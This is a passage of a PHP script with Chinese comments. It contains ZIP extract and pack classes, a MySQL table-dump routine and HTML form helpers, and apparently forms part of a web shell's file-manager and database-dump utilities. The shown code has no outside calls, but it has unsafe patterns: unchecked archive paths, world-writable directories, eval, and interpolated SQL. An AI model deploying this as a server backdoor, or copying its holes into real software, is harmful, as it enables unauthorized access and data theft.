2251 IF($data['comment_size'] != 0){$centd['comment'] = fread($zip, $data['comment_size']);}Else{$centd['comment'] = '';}
2252 $centd['entries'] = $data['entries'];
2253 $centd['disk_entries'] = $data['disk_entries'];
2254 $centd['offset'] = $data['offset'];
2255 $centd['disk_start'] = $data['disk_start'];
2256 $centd['size'] = $data['size'];
2257 $centd['disk'] = $data['disk'];
2258 Return $centd;
2259 }
2260
2261 Function ExtractFile($header, $to, $zip){
2262 $header = $this -> readfileheader($zip);
2263
2264 IF(substr($to, -1) != "/") $to .= "/";
2265 IF(!@is_dir($to)) @mkdir($to, 0777);
2266
2267 $pth = explode("/", dirname($header['filename']));
2268 For($i = 0;isset($pth[$i]);$i++){
2269 IF(!$pth[$i]) continue;
2270 $pthss .= $pth[$i] . "/";
2271 IF(!is_dir($to . $pthss)) @mkdir($to . $pthss, 0777);
2272 }
2273 IF(!($header['external'] == 0x41FF0010) && !($header['external'] == 16)){
2274 IF($header['compression'] == 0){
2275 $fp = @fopen($to . $header['filename'], 'wb');
2276 IF(!$fp) Return(-1);
2277 $size = $header['compressed_size'];
2278
2279 While($size != 0){
2280 $read_size = ($size < 2048 ? $size : 2048);
2281 $buffer = fread($zip, $read_size);
2282 $binary_data = pack('a' . $read_size, $buffer);
2283 @fwrite($fp, $binary_data, $read_size);
2284 $size -= $read_size;
2285 }
2286 fclose($fp);
2287 touch($to . $header['filename'], $header['mtime']);
2288 }Else{
2289 $fp = @fopen($to . $header['filename'] . '.gz', 'wb');
2290 IF(!$fp) Return(-1);
2291 $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
2292 Chr(0x00), time(), Chr(0x00), Chr(3));
2293
2294 fwrite($fp, $binary_data, 10);
2295 $size = $header['compressed_size'];
2296
2297 While($size != 0){
2298 $read_size = ($size < 1024 ? $size : 1024);
2299 $buffer = fread($zip, $read_size);
2300 $binary_data = pack('a' . $read_size, $buffer);
2301 @fwrite($fp, $binary_data, $read_size);
2302 $size -= $read_size;
2303 }
2304
2305 $binary_data = pack('VV', $header['crc'], $header['size']);
2306 fwrite($fp, $binary_data, 8);
2307 fclose($fp);
2308
2309 $gzp = @gzopen($to . $header['filename'] . '.gz', 'rb') or die("Cette archive est compressé–‘");
2310 IF(!$gzp) Return(-2);
2311 $fp = @fopen($to . $header['filename'], 'wb');
2312 IF(!$fp) Return(-1);
2313 $size = $header['size'];
2314
2315 While($size != 0){
2316 $read_size = ($size < 2048 ? $size : 2048);
2317 $buffer = gzread($gzp, $read_size);
2318 $binary_data = pack('a' . $read_size, $buffer);
2319 @fwrite($fp, $binary_data, $read_size);
2320 $size -= $read_size;
2321 }
2322 fclose($fp);
2323 gzclose($gzp);
2324
2325 touch($to . $header['filename'], $header['mtime']);
2326 @unlink($to . $header['filename'] . '.gz');
2327 }
2328 }
2329 Return true;
2330 }
2331}
2332
2333// 压缩打包类
2334class PHPZip{
2335 var $out='';
2336 function PHPZip($dir) {
2337 if (@function_exists('gzcompress')) {
2338 $curdir = getcwd();
2339 if (is_array($dir)) $filelist = $dir;
2340 else{
2341 $filelist=$this -> GetFileList($dir);//文件列表
2342 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2343 }
2344 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2345 else chdir($curdir);
2346 if (count($filelist)>0){
2347 foreach($filelist as $filename){
2348 if (is_file($filename)){
2349 $fd = fopen ($filename, 'r');
2350 $content = @fread ($fd, filesize($filename));
2351 fclose ($fd);
2352 if (is_array($dir)) $filename = basename($filename);
2353 $this -> addFile($content, $filename);
2354 }
2355 }
2356 $this->out = $this -> file();
2357 chdir($curdir);
2358 }
2359 return 1;
2360 }
2361 else return 0;
2362 }
2363
2364 // 获得指定目录文件列表
2365 function GetFileList($dir){
2366 static $a;
2367 if (is_dir($dir)) {
2368 if ($dh = opendir($dir)) {
2369 while ($file = readdir($dh)) {
2370 if($file!='.' && $file!='..'){
2371 $f=$dir .'/'. $file;
2372 if(is_dir($f)) $this->GetFileList($f);
2373 $a[]=$f;
2374 }
2375 }
2376 closedir($dh);
2377 }
2378 }
2379 return $a;
2380 }
2381
2382 var $datasec = array();
2383 var $ctrl_dir = array();
2384 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2385 var $old_offset = 0;
2386
2387 function unix2DosTime($unixtime = 0) {
2388 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2389 if ($timearray['year'] < 1980) {
2390 $timearray['year'] = 1980;
2391 $timearray['mon'] = 1;
2392 $timearray['mday'] = 1;
2393 $timearray['hours'] = 0;
2394 $timearray['minutes'] = 0;
2395 $timearray['seconds'] = 0;
2396 } // end if
2397 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2398 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2399 }
2400
2401 function addFile($data, $name, $time = 0) {
2402 $name = str_replace('\\', '/', $name);
2403
2404 $dtime = dechex($this->unix2DosTime($time));
2405 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2406 . '\x' . $dtime[4] . $dtime[5]
2407 . '\x' . $dtime[2] . $dtime[3]
2408 . '\x' . $dtime[0] . $dtime[1];
2409 eval('$hexdtime = "' . $hexdtime . '";');
2410 $fr = "\x50\x4b\x03\x04";
2411 $fr .= "\x14\x00";
2412 $fr .= "\x00\x00";
2413 $fr .= "\x08\x00";
2414 $fr .= $hexdtime;
2415
2416 $unc_len = strlen($data);
2417 $crc = crc32($data);
2418 $zdata = gzcompress($data);
2419 $c_len = strlen($zdata);
2420 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2421 $fr .= pack('V', $crc);
2422 $fr .= pack('V', $c_len);
2423 $fr .= pack('V', $unc_len);
2424 $fr .= pack('v', strlen($name));
2425 $fr .= pack('v', 0);
2426 $fr .= $name;
2427 $fr .= $zdata;
2428 $fr .= pack('V', $crc);
2429 $fr .= pack('V', $c_len);
2430 $fr .= pack('V', $unc_len);
2431
2432 $this -> datasec[] = $fr;
2433 $new_offset = strlen(implode('', $this->datasec));
2434
2435 $cdrec = "\x50\x4b\x01\x02";
2436 $cdrec .= "\x00\x00";
2437 $cdrec .= "\x14\x00";
2438 $cdrec .= "\x00\x00";
2439 $cdrec .= "\x08\x00";
2440 $cdrec .= $hexdtime;
2441 $cdrec .= pack('V', $crc);
2442 $cdrec .= pack('V', $c_len);
2443 $cdrec .= pack('V', $unc_len);
2444 $cdrec .= pack('v', strlen($name) );
2445 $cdrec .= pack('v', 0 );
2446 $cdrec .= pack('v', 0 );
2447 $cdrec .= pack('v', 0 );
2448 $cdrec .= pack('v', 0 );
2449 $cdrec .= pack('V', 32 );
2450 $cdrec .= pack('V', $this -> old_offset );
2451 $this -> old_offset = $new_offset;
2452 $cdrec .= $name;
2453
2454 $this -> ctrl_dir[] = $cdrec;
2455 }
2456
2457 function file() {
2458 $data = implode('', $this -> datasec);
2459 $ctrldir = implode('', $this -> ctrl_dir);
2460 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2461 }
2462}
2463
2464// 备份数æ®åº“
2465function sqldumptable($table, $fp=0) {
2466 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2467 $tabledump .= "CREATE TABLE $table (\n";
2468
2469 $firstfield=1;
2470
2471 $fields = q("SHOW FIELDS FROM $table");
2472 while ($field = mysql_fetch_array($fields)) {
2473 if (!$firstfield) {
2474 $tabledump .= ",\n";
2475 } else {
2476 $firstfield=0;
2477 }
2478 $tabledump .= " $field[Field] $field[Type]";
2479 if (!empty($field["Default"])) {
2480 $tabledump .= " DEFAULT '$field[Default]'";
2481 }
2482 if ($field['Null'] != "YES") {
2483 $tabledump .= " NOT NULL";
2484 }
2485 if ($field['Extra'] != "") {
2486 $tabledump .= " $field[Extra]";
2487 }
2488 }
2489 fr($fields);
2490
2491 $keys = q("SHOW KEYS FROM $table");
2492 while ($key = mysql_fetch_array($keys)) {
2493 $kname=$key['Key_name'];
2494 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2495 $kname="UNIQUE|$kname";
2496 }
2497 if(!is_array($index[$kname])) {
2498 $index[$kname] = array();
2499 }
2500 $index[$kname][] = $key['Column_name'];
2501 }
2502 fr($keys);
2503
2504 while(list($kname, $columns) = @each($index)) {
2505 $tabledump .= ",\n";
2506 $colnames=implode($columns,",");
2507
2508 if ($kname == "PRIMARY") {
2509 $tabledump .= " PRIMARY KEY ($colnames)";
2510 } else {
2511 if (substr($kname,0,6) == "UNIQUE") {
2512 $kname=substr($kname,7);
2513 }
2514 $tabledump .= " KEY $kname ($colnames)";
2515 }
2516 }
2517
2518 $tabledump .= "\n);\n\n";
2519 if ($fp) {
2520 fwrite($fp,$tabledump);
2521 } else {
2522 echo $tabledump;
2523 }
2524
2525 $rows = q("SELECT * FROM $table");
2526 $numfields = mysql_num_fields($rows);
2527 while ($row = mysql_fetch_array($rows)) {
2528 $tabledump = "INSERT INTO $table VALUES(";
2529
2530 $fieldcounter=-1;
2531 $firstfield=1;
2532 while (++$fieldcounter<$numfields) {
2533 if (!$firstfield) {
2534 $tabledump.=", ";
2535 } else {
2536 $firstfield=0;
2537 }
2538
2539 if (!isset($row[$fieldcounter])) {
2540 $tabledump .= "NULL";
2541 } else {
2542 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2543 }
2544 }
2545
2546 $tabledump .= ");\n";
2547
2548 if ($fp) {
2549 fwrite($fp,$tabledump);
2550 } else {
2551 echo $tabledump;
2552 }
2553 }
2554 fr($rows);
2555 if ($fp) {
2556 fwrite($fp,"\n");
2557 } else {
2558 echo "\n";
2559 }
2560}
2561
2562function ue($str){
2563 return urlencode($str);
2564}
2565
2566function p($str){
2567 echo $str."\n";
2568}
2569
2570function tbhead() {
2571 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2572}
2573function tbfoot(){
2574 p('</table>');
2575}
2576
2577function makehide($name,$value=''){
2578 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2579}
2580
2581function makeinput($arg = array()){
2582 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2583 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2584 !$arg['type'] && $arg['type'] = 'text';
2585 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2586 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2587
2588
2589 if ($arg['newline']) {
2590 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] $arg[checked] /></p>");
2591 } else {
2592 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] $arg[checked] />");
2593 }
2594}
2595
2596function makeselect($arg = array()){
2597 if ($arg['onchange']) {
2598 $onchange = 'onchange="'.$arg['onchange'].'"';
2599 }
2600 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2601 if ($arg['newline']) p('<p>');
2602 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2603 if (is_array($arg['option'])) {
2604 if ($arg['nokey']) {
2605 foreach ($arg['option'] as $value) {
2606 if ($arg['selected']==$value) {
2607 p("<option value=\"$value\" selected>$value</option>");
2608 } else {
2609 p("<option value=\"$value\">$value</option>");
2610 }
2611 }
2612 } else {
2613 foreach ($arg['option'] as $key=>$value) {
2614 if ($arg['selected']==$key) {
2615 p("<option value=\"$key\" selected>$value</option>");
2616 } else {
2617 p("<option value=\"$key\">$value</option>");
2618 }
2619 }
2620 }
2621 }
2622 p("</select>");
2623 if ($arg['newline']) p('</p>');
2624}
2625function formhead($arg = array()) {
2626 global $self;
2627 !$arg['method'] && $arg['method'] = 'post';
2628 !$arg['action'] && $arg['action'] = $self;
2629 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2630 !$arg['name'] && $arg['name'] = 'form1';
2631 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2632 if ($arg['title']) {
2633 p('<h2>'.$arg['title'].' »</h2>');
2634 }
2635}
2636
2637function maketext($arg = array()){
2638 !$arg['cols'] && $arg['cols'] = 100;
2639 !$arg['rows'] && $arg['rows'] = 25;
2640 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2641 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2642}
2643
2644function formfooter($name = ''){
2645 !$name && $name = 'submit';
2646 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
2647 p('</form>');
2648}
2649
2650function goback(){
2651 global $self, $nowpath;
2652 p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>');
2653}
2654
2655function formfoot(){
2656 p('</form>');
2657}
2658
2659// 调试函数
2660function pr($a) {
2661 echo '<pre>';
2662 print_r($a);
2663 echo '</pre>';
2664}